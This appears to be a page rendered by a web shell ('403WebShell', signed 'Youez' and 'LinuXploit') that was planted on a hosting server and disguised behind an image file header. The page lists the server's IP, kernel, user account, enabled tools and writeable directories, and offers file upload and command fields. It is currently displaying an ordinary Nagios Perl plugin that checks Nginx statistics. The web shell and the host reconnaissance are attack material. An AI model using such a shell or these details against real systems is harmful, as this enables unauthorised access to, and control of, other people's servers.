����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.149.249.124
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib64/nagios/plugins/base/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib64/nagios/plugins/base/check_nginx_stats.pl
#!/usr/bin/perl -T
# nagios: -epn
#
#  Author: Hari Sekhon
#  Date: 2011-05-24 10:38:54 +0100 (Tue, 24 May 2011)
#
#  https://github.com/harisekhon/nagios-plugins
#
#  License: see accompanying LICENSE file
#

$DESCRIPTION = "Nagios Plugin to check Nginx stats. Nginx will need to be configured to support this, see documentation at http://wiki.nginx.org/HttpStubStatusModule

Tested on Nginx circa 2010/2011 and more recently version 1.9.11, 1.10.0, 1.11.0";

$VERSION = "0.5.0";

use strict;
use warnings;
use Fcntl ':flock';
BEGIN {
    use File::Basename;
    use lib dirname(__FILE__) . "/lib";
}
use HariSekhonUtils qw/:DEFAULT :regex/;
use LWP::UserAgent;
use POSIX;

set_port_default(80);

env_creds('Nginx');

my $conns_sec;
my $contents;
my $diff_secs;
my $last_accepted = 0;
my $last_active = 0;
my $last_handled;
my $last_reading;
my $last_requests = 0;
my $last_tstamp   = 0;
my $last_waiting;
my $last_writing;
my $no_keepalives = 0;
my $requests_sec;
my $state_file_empty = 0;
my $url;

%options = (
    %hostoptions,
    "u|url=s"          => [ \$url,           "Nginx Status URL (usually something like /nginx_status - must be compiled with support and enabled in the nginx config using stub_status)" ],
    "no-keepalives"    => [ \$no_keepalives, "Use only when nginx config has 'keepalive_timeout 0' to enable an extra sanity check against the Handled/Request counts where Handled >= Requests must be true. A sanity check of Accepted >= Handled is performed regardless" ],
    "w|warning=s"      => [ \$warning,       "Warning  threshold or ran:ge (inclusive) for Active Connections count" ],
    "c|critical=s"     => [ \$critical,      "Critical threshold or ran:ge (inclusive) for Active Connections count" ],
);

@usage_order = qw/host port url no-keepalives warning critical/;

get_options();

$host = validate_host($host);
$host = validate_resolvable($host);
$port = validate_port($port);
$url  = validate_url_path_suffix($url, "nginx stub");
$url  =~ s/^\///;
$url  = "http://$host:$port/$url";
$url  = validate_url($url, "full");

validate_thresholds(undef, undef, { "simple" => "upper", "integer" => 1, "positive" => 1 } );
vlog2;

set_timeout();

my $statefh;
my $statefile = "/tmp/$progname.$host.tmp";
my $state_file_existed = 0;
if(-f $statefile){
    $state_file_existed = 1;
    vlog2 "opening state file '$statefile'\n";
    open $statefh, "+<$statefile" or quit "UNKNOWN", "Error: failed to open state file '$statefile': $!";
} else {
    vlog2 "creating state file '$statefile'\n";
    open $statefh, "+>$statefile" or quit "UNKNOWN", "Error: failed to create state file '$statefile': $!";
}
flock($statefh, LOCK_EX | LOCK_NB) or quit "UNKNOWN", "Failed to aquire a lock on state file '$statefile', another instance of this plugin was running?";

my $state_regex = '^(\d+)\s+(\d+)\s+(\d+)\s+(\d+)\s+(\d+)\s+(\d+)\s+(\d+)\s+(\d+)$';
if($state_file_existed == 1){
    $contents = <$statefh>;
    if ($contents){
        chomp $contents;
        if($contents =~ /^\s+$/){
            $state_file_empty = 1;
            vlog2 "state file is empty";
        } else {
            vlog2 "checking state file against regex: '$state_regex'\n";
            $contents =~ /$state_regex/ or quit "UNKNOWN", "Error: state file '$statefile' was not in the expected format, offending line was \"$_\"";
            $last_tstamp   = $1;
            $last_active   = $2;
            $last_reading  = $3;
            $last_writing  = $4;
            $last_waiting  = $5;
            $last_accepted = $6;
            $last_handled  = $7;
            $last_requests = $8;
            vlog2 "last active:   $last_active";
            vlog2 "last reading:  $last_reading";
            vlog2 "last writing:  $last_writing";
            vlog2 "last waiting:  $last_waiting";
            vlog2 "last accepted: $last_accepted";
            vlog2 "last_handled:  $last_handled";
            vlog2 "last requests: $last_requests";
        }
    } else {
        $state_file_empty = 1;
        vlog2 "state file is empty";
    }
}

my $now  = time;
if($last_tstamp > 0 and $last_tstamp < $now){
    # we have a last state and there is no time funniness
    $diff_secs = $now - $last_tstamp;
} else {
    $diff_secs = 0;
}
vlog2 "$diff_secs secs since last run\n";

my $ua = LWP::UserAgent->new;
$ua->agent("Hari Sekhon $progname version $main::VERSION");
validate_resolvable($host);
my $req = HTTP::Request->new(GET => $url);

#my $time = strftime("%F %T", localtime);
vlog2 "sending request";
my $res  = $ua->request($req);
vlog2 "got response";
my $status_line  = $res->status_line;
vlog2 "status line: $status_line";
my $content = my $content_single_line = $res->content;
vlog3 "\ncontent:\n\n$content\n";
$content_single_line =~ s/\n/ /g;
sub not_found {
    quit "CRITICAL", "cannot find '@_' in output => '$content_single_line' from '$url'";
}

unless($res->code eq 200){
    quit "CRITICAL", "'$status_line'";
}
if($content =~ /\A\s*\Z/){
    quit "CRITICAL", "empty body returned from '$url'";
}
unless($content =~ /Active connections:\s+(\d+)/){
    not_found "Active connections";
}
my $active = $1;
unless($content =~ /server accepts handled requests\n\s+(\d+)\s+(\d+)\s+(\d+)/){
    not_found "server accepts handled requests";
}
my $accepted = $1;
my $handled  = $2;
my $requests = $3;
# Sanity checks
vlog2 "\nperforming sanity check on returned stats: Accepted >= Handled\n";
unless($accepted >= $handled){
    quit "CRITICAL", "handled connection count > accepted connection count, sanity check failed on nginx stats returned by server!";
}
if($no_keepalives){
    vlog2 "performing extra sanity check on returned stats: Handled >= Requests\n";
    unless($handled >= $requests){
        quit "CRITICAL", "request count > handled connection count, sanity check failed on nginx stats returned by server!";
    }
}
unless($content =~ /Reading:\s+(\d+)\s+Writing:\s+(\d+)\s+Waiting:\s+(\d+)/){
    not_found "Reading/Writing/Waiting";
}
my $reading = $1;
my $writing = $2;
my $waiting = $3;
if(not $state_file_existed or $accepted < $last_accepted or $diff_secs == 0){
    # This means nginx either:
    # 1. There is no state
    # 2. Nginx has been restart and the counters reset
    # 3. Not enough time has elapsed between runs of this plugin
    $conns_sec    = "N/A";
    $requests_sec = "N/A";
} else {
    $conns_sec    = int( ($accepted - $last_accepted) / $diff_secs );
    $requests_sec = int( ($requests - $last_requests) / $diff_secs );
}

if($diff_secs > 0){
    seek($statefh, 0, 0)  or quit "UNKNOWN", "Error: seek failed on '$statefile': $!";
    truncate($statefh, 0) or quit "UNKNOWN", "Error: failed to truncate '$statefile': $!";
} else {
    vlog2 "not updating state file since 0 secs since last run\n";
}

print $statefh "$now $active $reading $writing $waiting $accepted $handled $requests" if ($diff_secs > 0 or $state_file_empty or not $state_file_existed);

$status = "OK";

$msg = "Active connections = $active";
check_thresholds($active);
$msg .= ", Connections / sec = $conns_sec, Requests / sec = $requests_sec, Reading = $reading, Writing = $writing, Accepted = $accepted, Handled = $handled, Requests = $requests";
$msg .= " | 'Active connections'=$active;" . (defined($thresholds{warning}{upper}) ? $thresholds{warning}{upper} : "") . ";" . (defined($thresholds{critical}{upper}) ? $thresholds{critical}{upper} : "") . ";0; 'Connections / sec'=$conns_sec 'Requests / sec'=$requests_sec 'Reading'=$reading 'Writing'=$writing 'Accepted'=$accepted 'Handled'=$handled 'Requests'=$requests";

quit $status, $msg;

Youez - 2016 - github.com/yon3zu
LinuXploit